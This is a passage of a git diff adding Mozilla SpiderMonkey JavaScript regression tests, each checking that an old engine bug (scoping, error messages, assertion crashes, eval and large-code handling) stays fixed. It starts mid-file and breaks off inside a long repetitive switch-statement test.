+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var N = 1 << 16;
+ var src = 'var x = /';
+ var array = Array();
+ for (var i = 0; i != N/2; ++i)
+ array[i] = i;
+ src += array.join('/;x=/')+'/; x="';
+ src += array.join('";x="')+'";';
+ src += 'const some_const = 10';
+ eval(src);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-369666-01.js b/js/src/tests/non262/regress/regress-369666-01.js
new file mode 100644
index 0000000000..b86f10908b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-369666-01.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369666;
+var summary = 'inner function declaration in let-induced outer ' +
+ 'function body gets wrong scope.';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function foo() {
+ let x = 42
+
+ function bar() {
+ return x;
+ }
+
+ return bar;
+ }
+
+ print(foo()());
+
+ baz = false;
+
+ function foo2() {
+ let x = 42
+
+ function bar() {
+ return x;
+ }
+
+ try {
+ if (baz)
+ return bar;
+ } finally {
+ print('finally', x);
+ }
+ return bar;
+ }
+
+ print(foo2()());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-369666-02.js b/js/src/tests/non262/regress/regress-369666-02.js
new file mode 100644
index 0000000000..b8e2dfb74f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-369666-02.js
@@ -0,0 +1,60 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 369666;
+var summary = 'inner function declaration in let-induced outer ' +
+ 'function body gets wrong scope.';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function foo() {
+ let x = 42
+
+ function bar() {
+ return x;
+ }
+
+ return bar;
+ }
+
+ print(foo()());
+
+ baz = false;
+
+ function foo2() {
+ let x = 42
+
+ function bar() {
+ return x;
+ }
+
+ function bletch() {
+ return x * x;
+ }
+
+ try {
+ if (baz)
+ return bar;
+ } finally {
+ print('finally', x);
+ }
+ return bletch;
+ }
+
+ print(foo2()());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-372364.js b/js/src/tests/non262/regress/regress-372364.js
new file mode 100644
index 0000000000..0806bfc0ae
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-372364.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 372364;
+var summary = 'Incorrect error message "() has no properties"';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('See Also bug 365891');
+ expect = /TypeError: .*a\(.+\) (has no properties|is null)/;
+ try
+ {
+ function a(){return null;} a(1)[0];
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ expect = /TypeError: .*\/a\/.exec\(.+\) (has no properties|is null)/;
+ try
+ {
+ /a/.exec("b")[0];
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-373827-01.js b/js/src/tests/non262/regress/regress-373827-01.js
new file mode 100644
index 0000000000..d14e9be207
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-373827-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 373827;
+var summary = 'Do not assert: OBJ_GET_CLASS(cx, obj)->flags & JSCLASS_HAS_PRIVATE';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ { let [] = [{x: function(){}}]; };
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-373827-02.js b/js/src/tests/non262/regress/regress-373827-02.js
new file mode 100644
index 0000000000..675f1bf591
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-373827-02.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 373827;
+var summary = 'Do not assert: OBJ_GET_CLASS(cx, obj)->flags & JSCLASS_HAS_PRIVATE';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ { let [] = [{x: function(){}}]; }; foo;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-373843.js b/js/src/tests/non262/regress/regress-373843.js
new file mode 100644
index 0000000000..677e333534
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-373843.js
@@ -0,0 +1,13 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+if (typeof disassemble != 'undefined')
+{
+ var func = disassemble(function() { return "c\\d"; })
+
+ // The disassembled function will contain a bytecode "string" with the content of the string next to it.
+ // Check if that string isn't over-escaped i.e. \\ isn't escaped to \\\\ .
+ assertEq(func.indexOf("\\\\\\\\"), -1)
+}
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/regress/regress-379245.js b/js/src/tests/non262/regress/regress-379245.js
new file mode 100644
index 0000000000..428f7afe7a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-379245.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 379245;
+var summary = 'inline calls';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var fThis;
+
+ function f()
+ {
+ fThis = this;
+ return ({x: f}).x;
+ }
+
+ f()();
+
+ if (this !== fThis)
+ throw "bad this";
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-379442.js b/js/src/tests/non262/regress/regress-379442.js
new file mode 100644
index 0000000000..8f30f75a1f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-379442.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 379442;
+var summary = 'Regression from bug 368224';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ reportCompare(expect, actual, summary);
+
+ (function () { ({ y: [] } = {}); });
+}
diff --git a/js/src/tests/non262/regress/regress-379483.js b/js/src/tests/non262/regress/regress-379483.js
new file mode 100644
index 0000000000..fdf1624838
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-379483.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 379483;
+var summary = 'Do not assert: top < ss->printer->script->depth';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function () { try { } catch([e]) { [1]; } });
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-383674.js b/js/src/tests/non262/regress/regress-383674.js
new file mode 100644
index 0000000000..293d8a556d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-383674.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 383674;
+var summary = 'Statement that implicitly calls toString should not be optimized away as a "useless expression"';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'toString called';
+ actual = 'toString not called';
+ try
+ {
+ var x = {toString: function() {
+ actual = 'toString called';
+ print(actual);
+ }
+ };
+ var f = function() { var j = x; j + ""; }
+ f();
+ reportCompare(expect, actual, summary + ': 1');
+ }
+ catch(ex)
+ {
+ reportCompare("No Error", ex + "", summary + ': 1');
+ }
+
+ actual = 'toString not called';
+ try
+ {
+ (function() { var a =
+ ({toString: function(){
+ actual = 'toString called'; print(actual)} }); a += ""; })();
+ reportCompare(expect, actual, summary + ': 2');
+ }
+ catch(ex)
+ {
+ reportCompare("No Error", ex + "", summary + ': 2');
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-383682.js b/js/src/tests/non262/regress/regress-383682.js
new file mode 100644
index 0000000000..0d242d0354
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-383682.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 383682;
+var summary = 'eval is too dynamic';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(s) {
+ return this.eval(s);
+ }
+
+ expect = 'PASS';
+ f("function g() { return('PASS'); }");
+ actual = g();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-383902.js b/js/src/tests/non262/regress/regress-383902.js
new file mode 100644
index 0000000000..ed95597460
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-383902.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var c = 0;
+
+function f(a) {
+ const b = a;
+ try {
+ eval('"use strict"; b = 1 + a; c = 1');
+ assertEq(0, 1);
+ } catch (e) {
+ assertEq(e.name, 'TypeError');
+ assertEq(0, c);
+ assertEq(a, b);
+ }
+}
+
+var w = 42;
+f(w);
+
+c = 2;
+try {
+ eval('"use strict"; function g(x) { const y = x; y = 1 + x; } c = 3');
+} catch (e) {
+ assertEq(0, 1);
+}
+
+c = 4;
+try {
+ eval('"use strict"; const z = w; z = 1 + w; c = 5');
+ assertEq(0, 1);
+} catch (e) {
+ assertEq(e.name, 'TypeError');
+ assertEq(4, c);
+ assertEq('z' in this, false);
+}
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-385393-04.js b/js/src/tests/non262/regress/regress-385393-04.js
new file mode 100644
index 0000000000..1277ddffa7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-385393-04.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 385393;
+var summary = 'Regression test for bug 385393';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ 'a'.replace(/a/g, eval);
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-387951-01.js b/js/src/tests/non262/regress/regress-387951-01.js
new file mode 100644
index 0000000000..93b32f6916
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-387951-01.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387951;
+var summary = 'Do not assert: cg->stackDepth >= 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (delete (0 ? 3 : {}));
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-387951-02.js b/js/src/tests/non262/regress/regress-387951-02.js
new file mode 100644
index 0000000000..f02c4354c8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-387951-02.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387951;
+var summary = 'Do not assert: cg->stackDepth >= 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ "" + (function() { if(delete(null?0:{})){[]} });
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-387951-03.js b/js/src/tests/non262/regress/regress-387951-03.js
new file mode 100644
index 0000000000..7370b2f283
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-387951-03.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387951;
+var summary = 'Do not assert: cg->stackDepth >= 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ switch(delete[null?0:{}]){default:}
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-39309.js b/js/src/tests/non262/regress/regress-39309.js
new file mode 100644
index 0000000000..dd7156a453
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-39309.js
@@ -0,0 +1,73 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 30 Sep 2003
+ * SUMMARY: Testing concatenation of string + number
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=39309
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 39309;
+var summary = 'Testing concatenation of string + number';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f(textProp, len)
+{
+ var i = 0;
+ while (++i <= len)
+ {
+ var name = textProp + i;
+ actual = name;
+ }
+}
+
+
+status = inSection(1);
+f('text', 1); // sets |actual|
+expect = 'text1';
+addThis();
+
+status = inSection(2);
+f('text', 100); // sets |actual|
+expect = 'text100';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-396684.js b/js/src/tests/non262/regress/regress-396684.js
new file mode 100644
index 0000000000..6905089689
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-396684.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 396684;
+var summary = 'Function call with stack arena exhausted';
+var actual = '';
+var expect = '';
+
+/*
+ The test case builds a function containing f(0,0,...,0,Math.atan2()) with
+ enough zero arguments to exhaust the current stack arena fully. Thus, when
+ Math.atan2 is loaded into the stack, there would be no room for the extra 2
+ args required by Math.atan2 and args will be allocated from the new arena.
+*/
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function f() {
+ return arguments[arguments.length - 1];
+}
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'PASS';
+
+ var src = "return f(" +Array(10*1000).join("0,")+"Math.atan2());";
+
+ var result = new Function(src)();
+
+ if (typeof result != "number" || !isNaN(result))
+ actual = "unexpected result: " + result;
+ else
+ actual = 'PASS';
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-398085-01.js b/js/src/tests/non262/regress/regress-398085-01.js
new file mode 100644
index 0000000000..02bbf2056e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-398085-01.js
@@ -0,0 +1,742 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 398085;
+var summary = 'Do not crash with large switch statement';
+var actual = '';
+var expect = 'PASSED';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ ls("a, taken", "b, taken");
+
+ reportCompare(expect, actual, summary);
+}
+
+
+function ls(a, b) {
+ switch(a) {
+ case "a, not taken":
+ // Next line requires 48 bytes: 8 * (getargprop (5 bytes) + add (1 byte))
+ // Repeated 700 times: 700 * 48 bytes = 33600 bytes
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
+ a.x + a.x + a.x + a.x + a.x + a.x + a.x + a.x
